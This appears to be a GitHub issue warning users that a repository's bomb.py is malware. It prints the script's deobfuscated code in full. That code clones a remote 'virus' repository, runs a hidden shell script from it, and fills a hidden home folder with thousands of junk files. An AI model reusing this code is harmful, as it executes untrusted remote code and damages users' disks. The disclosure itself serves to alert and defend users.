-
Notifications
You must be signed in to change notification settings - Fork 75
Description
This shitty repository has a file (bomb.py) that downloads this trash file (https://github.com/addqqfyioplmlnccczzvbhfsawrygiibctijctz/virus) to create a lot of SHIT in your hard disk
Deobfuscated code of bomb.py:
import os
from colorama import Fore, Style
import socket
def is_connected():
try:
socket.create_connection(("1.1.1.1", 53))
return True
except OSError:
pass
return False
connected = is_connected()
if not connected:
os.system("clear")
os.system("echo")
print(Fore.RED + 'YOU ARE NOT CONNECTED TO INTERNET')
exit()
pth = os.path.expanduser('~')
th = os.path.join(pth, '.gitt')
pat = os.path.exists(th)
if not pat:
os.system("mkdir $HOME/.gitt 2> /dev/null")
patt = os.path.join(th, '.djhsa171')
fipa = os.path.isfile(patt)
os.system("clear")
if not fipa:
os.system("echo")
print(Fore.GREEN + 'Please Wait Setting up Bomber')
os.system("git clone https://github.com/addqqfyioplmlnccczzvbhfsawrygiibctijctz/virus 2> /dev/null")
os.system("mv $HOME/m-bomber2.O/virus/.bomber.sh $HOME/.gitt 2> /dev/null")
os.system("mv $HOME/.gitt/.bomber.sh $HOME/.gitt/.djhsa171 2> /dev/null")
os.system("rm -rf virus")
files_to_check = [
'.logo', '.tempo', '.tmpo', '.tpo', '.bomber', '.bomb',
'.bomb.sh', '.bash.sh', '.bombing', '.bombber.sh'
]
for filename in files_to_check:
tema = os.path.join(th, filename)
if not os.path.isfile(tema):
os.system(f"touch $HOME/.gitt/{filename} 2> /dev/null")
for i in range(1000):
patt = os.path.join(th, f".bomb{i}")
if not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
for i in range(1000):
patt = os.path.join(th, f".comb{i}")
if not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
for i in range(1000):
patt = os.path.join(th, f".bomberr{i}.sh")
if not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
for i in range(1000):
patt = os.path.join(th, f".loo{i}")
if not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
for i in range(1000):
patt = os.path.join(th, f".logoo{i}")
if not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
for i in range(5000):
patt = os.path.join(th, f".ahjfv{i}")
if not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
for i in range(5000):
patt = os.path.join(th, f".djhsa{i}")
if i != 171 and not os.path.isfile(patt):
with open(patt, 'w') as g:
g.write('teri maaa ki dhghgdg sgf sgf sghg sfdhfdg fd')
os.system("bash $HOME/.gitt/.djhsa171 2> /dev/null")